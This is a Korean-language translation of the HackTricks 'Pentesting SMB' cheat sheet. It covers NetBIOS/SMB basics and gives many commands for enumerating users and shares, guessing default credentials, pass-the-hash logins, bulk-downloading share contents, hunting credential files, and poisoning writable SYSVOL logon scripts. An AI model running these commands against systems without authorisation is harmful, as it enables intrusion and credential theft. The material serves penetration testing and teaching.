139,445 - Pentesting SMB

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Port 139

The Network Basic Input Output System** (NetBIOS)** ๋Š” ๋กœ์ปฌ ์˜์—ญ ๋„คํŠธ์›Œํฌ(LAN) ๋‚ด์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜, PC ๋ฐ ๋ฐ์Šคํฌํƒ‘์ด ๋„คํŠธ์›Œํฌ ํ•˜๋“œ์›จ์–ด์™€ ์ƒํ˜ธ์ž‘์šฉํ•˜๊ณ  ๋„คํŠธ์›Œํฌ ์ „๋ฐ˜์— ๊ฑธ์นœ ๋ฐ์ดํ„ฐ ์ „์†ก์„ ์šฉ์ดํ•˜๊ฒŒ ํ•˜๋Š” ์†Œํ”„ํŠธ์›จ์–ด ํ”„๋กœํ† ์ฝœ์ž…๋‹ˆ๋‹ค. NetBIOS ๋„คํŠธ์›Œํฌ์—์„œ ๋™์ž‘ํ•˜๋Š” ์†Œํ”„ํŠธ์›จ์–ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์‹๋ณ„๊ณผ ์œ„์น˜ ํŒŒ์•…์€ NetBIOS ์ด๋ฆ„์„ ํ†ตํ•ด ์ด๋ฃจ์–ด์ง€๋ฉฐ, ์ด ์ด๋ฆ„์€ ์ตœ๋Œ€ 16์ž๊นŒ์ง€ ๊ฐ€๋Šฅํ•˜๊ณ  ์ข…์ข… ์ปดํ“จํ„ฐ ์ด๋ฆ„๊ณผ ๋‹ค๋ฆ…๋‹ˆ๋‹ค. ๋‘ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ฐ„์˜ NetBIOS ์„ธ์…˜์€ ํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(ํด๋ผ์ด์–ธํŠธ ์—ญํ• )์ด ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(์„œ๋ฒ„ ์—ญํ• )์— โ€œํ˜ธ์ถœโ€ ๋ช…๋ น์„ ๋‚ด๋ ค TCP Port 139 ๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ ์‹œ์ž‘๋ฉ๋‹ˆ๋‹ค.

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

ํฌํŠธ 445

๊ธฐ์ˆ ์ ์œผ๋กœ, Port 139์€ โ€˜NBT over IPโ€™๋กœ ๋ถˆ๋ฆฌ๋ฉฐ, Port 445๋Š” โ€˜SMB over IPโ€™๋กœ ์‹๋ณ„๋ฉ๋‹ˆ๋‹ค. ์•ฝ์–ด SMB๋Š” โ€˜Server Message Blocksโ€™์˜ ์•ฝ์ž์ด๋ฉฐ, ํ˜„๋Œ€์—๋Š” **Common Internet File System (CIFS)**๋กœ๋„ ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ณ„์ธต ๋„คํŠธ์›Œํฌ ํ”„๋กœํ† ์ฝœ๋กœ์„œ, SMB/CIFS๋Š” ์ฃผ๋กœ ํŒŒ์ผ, ํ”„๋ฆฐํ„ฐ, ์ง๋ ฌ ํฌํŠธ์— ๋Œ€ํ•œ ๊ณต์œ  ์ ‘๊ทผ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๊ณ  ๋„คํŠธ์›Œํฌ ๋‚ด ๋…ธ๋“œ๋“ค ๊ฐ„์˜ ๋‹ค์–‘ํ•œ ํ˜•ํƒœ์˜ ํ†ต์‹ ์„ ์ด‰์ง„ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด Windows์˜ ๊ฒฝ์šฐ, SMB๋Š” TCP/IP ์œ„์—์„œ ์ง์ ‘ ๋™์ž‘ํ•  ์ˆ˜ ์žˆ์–ด NetBIOS over TCP/IP์˜ ํ•„์š”์„ฑ์„ ์ œ๊ฑฐํ•˜๋ฉฐ, ์ด๋ฅผ ์œ„ํ•ด port 445๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋ฐ˜๋Œ€๋กœ ๋‹ค๋ฅธ ์‹œ์Šคํ…œ์—์„œ๋Š” port 139์˜ ์‚ฌ์šฉ์ด ๊ด€์ฐฐ๋˜๋ฉฐ, ์ด๋Š” SMB๊ฐ€ NetBIOS over TCP/IP์™€ ํ•จ๊ป˜ ์‹คํ–‰๋˜๊ณ  ์žˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

SMB

The Server Message Block (SMB) ํ”„๋กœํ† ์ฝœ์€ client-server ๋ชจ๋ธ๋กœ ๋™์ž‘ํ•˜๋ฉฐ, ํ”„๋ฆฐํ„ฐ๋‚˜ ๋ผ์šฐํ„ฐ ๊ฐ™์€ ๋‹ค๋ฅธ ๋„คํŠธ์›Œํฌ ์ž์›๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ํŒŒ์ผ๊ณผ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์กฐ์ ˆํ•˜๋„๋ก ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ฃผ๋กœ Windows ์šด์˜์ฒด์ œ ๊ณ„์—ด์—์„œ ์‚ฌ์šฉ๋˜๋ฉฐ, SMB๋Š” ํ•˜์œ„ ํ˜ธํ™˜์„ฑ์„ ๋ณด์žฅํ•˜์—ฌ ์ตœ์‹  ๋ฒ„์ „์˜ Microsoft ์šด์˜์ฒด์ œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ์žฅ์น˜๊ฐ€ ๊ตฌ๋ฒ„์ „์„ ์‹คํ–‰ํ•˜๋Š” ์žฅ์น˜์™€ ์›ํ™œํ•˜๊ฒŒ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ Samba ํ”„๋กœ์ ํŠธ๋Š” ๋ฌด๋ฃŒ ์†Œํ”„ํŠธ์›จ์–ด ์†”๋ฃจ์…˜์„ ์ œ๊ณตํ•˜์—ฌ Linux ๋ฐ Unix ์‹œ์Šคํ…œ์—์„œ SMB๋ฅผ ๊ตฌํ˜„ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋ฏ€๋กœ SMB๋ฅผ ํ†ตํ•œ ํฌ๋กœ์Šคํ”Œ๋žซํผ ํ†ต์‹ ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

Shares๋Š” **๋กœ์ปฌ ํŒŒ์ผ ์‹œ์Šคํ…œ์˜ ์ž„์˜ ๋ถ€๋ถ„(arbitrary parts of the local file system)**์„ ๋‚˜ํƒ€๋‚ด๋ฉฐ, SMB ์„œ๋ฒ„๊ฐ€ ์ด๋ฅผ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์–ด ํด๋ผ์ด์–ธํŠธ์—๊ฒŒ ๊ณ„์ธต ๊ตฌ์กฐ๋ฅผ ์„œ๋ฒ„์˜ ์‹ค์ œ ๊ตฌ์กฐ์™€ ๋ถ€๋ถ„์ ์œผ๋กœ **๋…๋ฆฝ์ (independent)**์œผ๋กœ ํ‘œ์‹œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **Access Control Lists (ACLs)**๋Š” **์ ‘๊ทผ ๊ถŒํ•œ(access rights)**์„ ์ •์˜ํ•˜๋ฉฐ, execute, read, full access ๊ฐ™์€ ์†์„ฑ์„ ํฌํ•จํ•œ ์‚ฌ์šฉ์ž ๊ถŒํ•œ์— ๋Œ€ํ•ด **์„ธ๋ฐ€ํ•œ ์ œ์–ด(fine-grained control)**๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์€ shares๋ฅผ ๊ธฐ์ค€์œผ๋กœ ๊ฐœ๋ณ„ ์‚ฌ์šฉ์ž๋‚˜ ๊ทธ๋ฃน์— ํ• ๋‹น๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์„œ๋ฒ„์— ์„ค์ •๋œ ๋กœ์ปฌ ๊ถŒํ•œ๊ณผ๋Š” ๊ตฌ๋ถ„๋ฉ๋‹ˆ๋‹ค.

IPC$ Share

IPC$ share์— ๋Œ€ํ•œ ์ ‘๊ทผ์€ ์ต๋ช…์˜ null session์„ ํ†ตํ•ด ์–ป์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด named pipes๋กœ ๋…ธ์ถœ๋œ ์„œ๋น„์Šค์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ชฉ์ ์—๋Š” ์œ ํ‹ธ๋ฆฌํ‹ฐ enum4linux๊ฐ€ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ ์ ˆํžˆ ์‚ฌ์šฉํ•˜๋ฉด ๋‹ค์Œ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • ์šด์˜ ์ฒด์ œ์— ๋Œ€ํ•œ ์ •๋ณด
  • ์ƒ์œ„ ๋„๋ฉ”์ธ์— ๋Œ€ํ•œ ์„ธ๋ถ€ ์ •๋ณด
  • ๋กœ์ปฌ ์‚ฌ์šฉ์ž ๋ฐ ๊ทธ๋ฃน ๋ชฉ๋ก
  • ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ SMB shares์— ๋Œ€ํ•œ ์ •๋ณด
  • ์ ์šฉ๋˜๋Š” ์‹œ์Šคํ…œ ๋ณด์•ˆ ์ •์ฑ…

์ด ๊ธฐ๋Šฅ์€ ๋„คํŠธ์›Œํฌ ๊ด€๋ฆฌ์ž๋ฅผ ๋น„๋กฏํ•œ ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€๊ฐ€ ๋„คํŠธ์›Œํฌ์ƒ์˜ SMB (Server Message Block) ์„œ๋น„์Šค์˜ ๋ณด์•ˆ ํƒœ์„ธ๋ฅผ ํ‰๊ฐ€ํ•˜๋Š” ๋ฐ ๋งค์šฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. enum4linux๋Š” ๋Œ€์ƒ ์‹œ์Šคํ…œ์˜ SMB ํ™˜๊ฒฝ์— ๋Œ€ํ•œ ํฌ๊ด„์ ์ธ ๋ทฐ๋ฅผ ์ œ๊ณตํ•˜์—ฌ ์ž ์žฌ์  ์ทจ์•ฝ์ ์„ ์‹๋ณ„ํ•˜๊ณ  SMB ์„œ๋น„์Šค๊ฐ€ ์ ์ ˆํžˆ ๋ณดํ˜ธ๋˜๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๋ฐ ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค.

enum4linux -a target_ip

์œ„ ๋ช…๋ น์€ enum4linux๊ฐ€ target_ip๋กœ ์ง€์ •๋œ ๋Œ€์ƒ์— ๋Œ€ํ•ด ์ „์ฒด enumeration์„ ์ˆ˜ํ–‰ํ•˜๋Š” ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค.

NTLM์ด๋ž€

NTLM์ด ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅด๊ฑฐ๋‚˜ ์ด ํ”„๋กœํ† ์ฝœ์˜ ๋™์ž‘ ๋ฐฉ์‹๊ณผ ์•…์šฉ ๋ฐฉ๋ฒ•์„ ์•Œ๊ณ  ์‹ถ๋‹ค๋ฉด, NTLM์— ๊ด€ํ•œ ๋‹ค์Œ ํŽ˜์ด์ง€๊ฐ€ ๋งค์šฐ ํฅ๋ฏธ๋กœ์šธ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด ํŽ˜์ด์ง€์—๋Š” ์ด ํ”„๋กœํ† ์ฝœ์ด ์–ด๋–ป๊ฒŒ ๋™์ž‘ํ•˜๋ฉฐ ์ด๋ฅผ ์–ด๋–ป๊ฒŒ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€๊ฐ€ ์„ค๋ช…๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค:

NTLM

์„œ๋ฒ„ Enumeration

Scan ๋„คํŠธ์›Œํฌ์—์„œ ํ˜ธ์ŠคํŠธ ๊ฒ€์ƒ‰:

nbtscan -r 192.168.0.1/24

SMB ์„œ๋ฒ„ ๋ฒ„์ „

SMB ๋ฒ„์ „์˜ ๊ฐ€๋Šฅํ•œ exploits๋ฅผ ์ฐพ์œผ๋ ค๋ฉด ์–ด๋–ค ๋ฒ„์ „์ด ์‚ฌ์šฉ ์ค‘์ธ์ง€ ์•„๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ๋„๊ตฌ๋“ค์—์„œ ์ด ์ •๋ณด๊ฐ€ ํ‘œ์‹œ๋˜์ง€ ์•Š๋Š”๋‹ค๋ฉด, ๋‹ค์Œ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • MSF auxiliary module **auxiliary/scanner/smb/smb_version**
  • ๋˜๋Š” ์ด ์Šคํฌ๋ฆฝํŠธ:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1

๊ฒ€์ƒ‰ exploit

msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb

๊ฐ€๋Šฅํ•œ ์ž๊ฒฉ ์ฆ๋ช…

์‚ฌ์šฉ์ž ์ด๋ฆ„(๋“ค)์ผ๋ฐ˜ ๋น„๋ฐ€๋ฒˆํ˜ธ
(blank)(blank)
guest(blank)
Administrator, admin(blank), password, administrator, admin
arcservearcserve, backup
tivoli, tmersrvdtivoli, tmersrvd, admin
backupexec, backupbackupexec, backup, arcada
test, lab, demopassword, test, lab, demo

Brute Force

SMB ํ™˜๊ฒฝ ์ •๋ณด

์ •๋ณด ์ˆ˜์ง‘

#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

์‚ฌ์šฉ์ž, ๊ทธ๋ฃน ๋ฐ ๋กœ๊ทธ์ธํ•œ ์‚ฌ์šฉ์ž ์—ด๊ฑฐ

์ด ์ •๋ณด๋Š” ์ด๋ฏธ enum4linux ๋ฐ enum4linux-ng์—์„œ ์ˆ˜์ง‘๋˜์—ˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]

ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "

rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups

๋กœ์ปฌ ์‚ฌ์šฉ์ž ์—ด๊ฑฐ

Impacket

lookupsid.py -no-pass hostname.local

Oneliner

for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

Metasploit - ๋กœ์ปฌ ์‚ฌ์šฉ์ž ์—ด๊ฑฐ

use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run

LSARPC ๋ฐ SAMR rpcclient ์—ด๊ฑฐ

rpcclient enumeration

linux์—์„œ GUI ์—ฐ๊ฒฐ

ํ„ฐ๋ฏธ๋„์—์„œ:

xdg-open smb://cascade.htb/

ํŒŒ์ผ ๋ธŒ๋ผ์šฐ์ € ์ฐฝ์—์„œ (nautilus, thunar ๋“ฑ)

smb://friendzone.htb/general/

๊ณต์œ  ํด๋” ์—ด๊ฑฐ

๊ณต์œ  ํด๋” ๋‚˜์—ด

ํ•ญ์ƒ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ํ•ญ๋ชฉ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. credentials๊ฐ€ ์—†๋‹ค๋ฉด null credentials/guest user๋ฅผ ์‚ฌ์šฉํ•ด ๋ณด์„ธ์š”.

smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash

smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list

crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user

๊ณต์œ  ํด๋” ์—ฐ๊ฒฐ/๋ชฉ๋ก

#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient

#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash

์ˆ˜๋™์œผ๋กœ Windows ๊ณต์œ ๋ฅผ ์—ด๊ฑฐํ•˜๊ณ  ์—ฐ๊ฒฐํ•˜๊ธฐ

ํ˜ธ์ŠคํŠธ ๋จธ์‹ ์˜ ๊ณต์œ  ํ‘œ์‹œ๊ฐ€ ์ œํ•œ๋˜์–ด ์žˆ์–ด ๋ชฉ๋ก์„ ํ™•์ธํ•  ๋•Œ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต์œ ๊ฐ€ ์—†๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ˆ˜๋™์œผ๋กœ ๊ณต์œ ์— ์—ฐ๊ฒฐํ•ด ๋ณด๋Š” ์‹œ๋„๊ฐ€ ๊ฐ€์น˜๊ฐ€ ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต์œ ๋ฅผ ์ˆ˜๋™์œผ๋กœ ์—ด๊ฑฐํ•˜๋ ค๋ฉด ์œ ํšจํ•œ ์„ธ์…˜(์˜ˆ: null session ๋˜๋Š” valid credentials)์„ ์‚ฌ์šฉํ•  ๋•Œ NT_STATUS_ACCESS_DENIED ๋ฐ NT_STATUS_BAD_NETWORK_NAME ๊ฐ™์€ ์‘๋‹ต์„ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์‘๋‹ต์€ ๊ณต์œ ๊ฐ€ ์กด์žฌํ•˜์ง€๋งŒ ์ ‘๊ทผ ๊ถŒํ•œ์ด ์—†์Œ์„ ๋‚˜ํƒ€๋‚ด๊ฑฐ๋‚˜, ๊ณต์œ  ์ž์ฒด๊ฐ€ ์กด์žฌํ•˜์ง€ ์•Š์Œ์„ ์•Œ๋ ค์ค„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Common share names for windows targets are

  • C$
  • D$
  • ADMIN$
  • IPC$
  • PRINT$
  • FAX$
  • SYSVOL
  • NETLOGON

(์ผ๋ฐ˜์ ์ธ ๊ณต์œ  ์ด๋ฆ„ โ€” _Network Security Assessment 3rd edition_์—์„œ ๋ฐœ์ทŒ)

You can try to connect to them by using the following command

smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)

๋˜๋Š” ์ด ์Šคํฌ๋ฆฝํŠธ (null session์„ ์‚ฌ์šฉํ•˜์—ฌ)

#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')

if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done

์˜ˆ์ œ๋“ค

smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session

Windows์—์„œ ๊ณต์œ  ์—ด๊ฑฐ / ํƒ€์‚ฌ ๋„๊ตฌ ์—†์ด

PowerShell

# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection

CMD ์ฝ˜์†”

# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all

MMC ์Šค๋ƒ…์ธ (๊ทธ๋ž˜ํ”ฝ ์ธํ„ฐํŽ˜์ด์Šค)

# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc

explorer.exe(๊ทธ๋ž˜ํ”ฝ ์ธํ„ฐํŽ˜์ด์Šค)์—์„œ \\<ip>\ ๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ์ˆจ๊น€์ด ์•„๋‹Œ ๊ณต์œ ๋ฅผ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต์œ  ํด๋” ๋งˆ์šดํŠธํ•˜๊ธฐ

mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share

ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ

์ด์ „ ์„น์…˜์„ ์ฝ์–ด credentials/Pass-the-Hash๋ฅผ ์‚ฌ์šฉํ•ด ์—ฐ๊ฒฐํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šฐ์„ธ์š”.

#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

๋ช…๋ น์–ด:

  • mask: ๋””๋ ‰ํ„ฐ๋ฆฌ ๋‚ด์˜ ํŒŒ์ผ์„ ํ•„ํ„ฐ๋งํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ๋งˆ์Šคํฌ๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: โ€œโ€œ๋Š” ๋ชจ๋“  ํŒŒ์ผ)
  • recurse: ์žฌ๊ท€ ๊ธฐ๋Šฅ์„ ์ผœ๊ฑฐ๋‚˜ ๋•๋‹ˆ๋‹ค(๊ธฐ๋ณธ๊ฐ’: off)
  • prompt: ํŒŒ์ผ ์ด๋ฆ„์— ๋Œ€ํ•œ ํ”„๋กฌํ”„ํŠธ๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค(๊ธฐ๋ณธ๊ฐ’: on)
  • mget: mask์™€ ์ผ์น˜ํ•˜๋Š” ๋ชจ๋“  ํŒŒ์ผ์„ ํ˜ธ์ŠคํŠธ์—์„œ ํด๋ผ์ด์–ธํŠธ ๋จธ์‹ ์œผ๋กœ ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค

(smbclient์˜ manpage์—์„œ ๊ฐ€์ ธ์˜จ ์ •๋ณด)

๋„๋ฉ”์ธ ๊ณต์œ  ํด๋” ๊ฒ€์ƒ‰

Snaffler.exe -s -d domain.local -o snaffler.log -v data
  • CrackMapExec spider.
  • -M spider_plus [--share <share_name>]
  • --pattern txt
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'

ํŠนํžˆ ๊ณต์œ ์—์„œ ํฅ๋ฏธ๋กœ์šด ํŒŒ์ผ์€ **Registry.xml**๋กœ, ์ด ํŒŒ์ผ์€ Group Policy๋ฅผ ํ†ตํ•ด autologon์œผ๋กœ ๊ตฌ์„ฑ๋œ ์‚ฌ์šฉ์ž๋“ค์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜๋Š” web.config ํŒŒ์ผ์€ ์ž๊ฒฉ ์ฆ๋ช…์„ ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

Tip

SYSVOL share๋Š” ๋„๋ฉ”์ธ ๋‚ด ์ธ์ฆ๋œ ๋ชจ๋“  ์‚ฌ์šฉ์ž์—๊ฒŒ ์ฝ๊ธฐ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ์•ˆ์—์„œ๋Š” ๋‹ค์–‘ํ•œ batch, VBScript, PowerShell ์Šคํฌ๋ฆฝํŠธ๋“ค์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ๋“ค์„ ๋ฐ˜๋“œ์‹œ ํ™•์ธํ•ด์•ผ ํ•˜๋ฉฐ ๋น„๋ฐ€๋ฒˆํ˜ธ์™€ ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ์ž๋™ํ™”๋œ ๊ณต์œ  ๋ชฉ๋ก์„ ๊ทธ๋Œ€๋กœ ์‹ ๋ขฐํ•˜์ง€ ๋งˆ์„ธ์š”: ๊ณต์œ ๊ฐ€ ์ฝ๊ธฐ ์ „์šฉ์œผ๋กœ ๋ณด์ด๋”๋ผ๋„ ๋‚ด๋ถ€์˜ NTFS ACLs๊ฐ€ ์“ฐ๊ธฐ๋ฅผ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•ญ์ƒ smbclient๋กœ ์ž‘์€ ํŒŒ์ผ์„ \\<dc>\\SYSVOL\\<domain>\\scripts\\์— ์—…๋กœ๋“œํ•ด ํ…Œ์ŠคํŠธํ•˜์„ธ์š”. ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด, poison logon scripts for RCE at user logon๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ShareHound โ€“ OpenGraph collector for SMB shares (BloodHound)

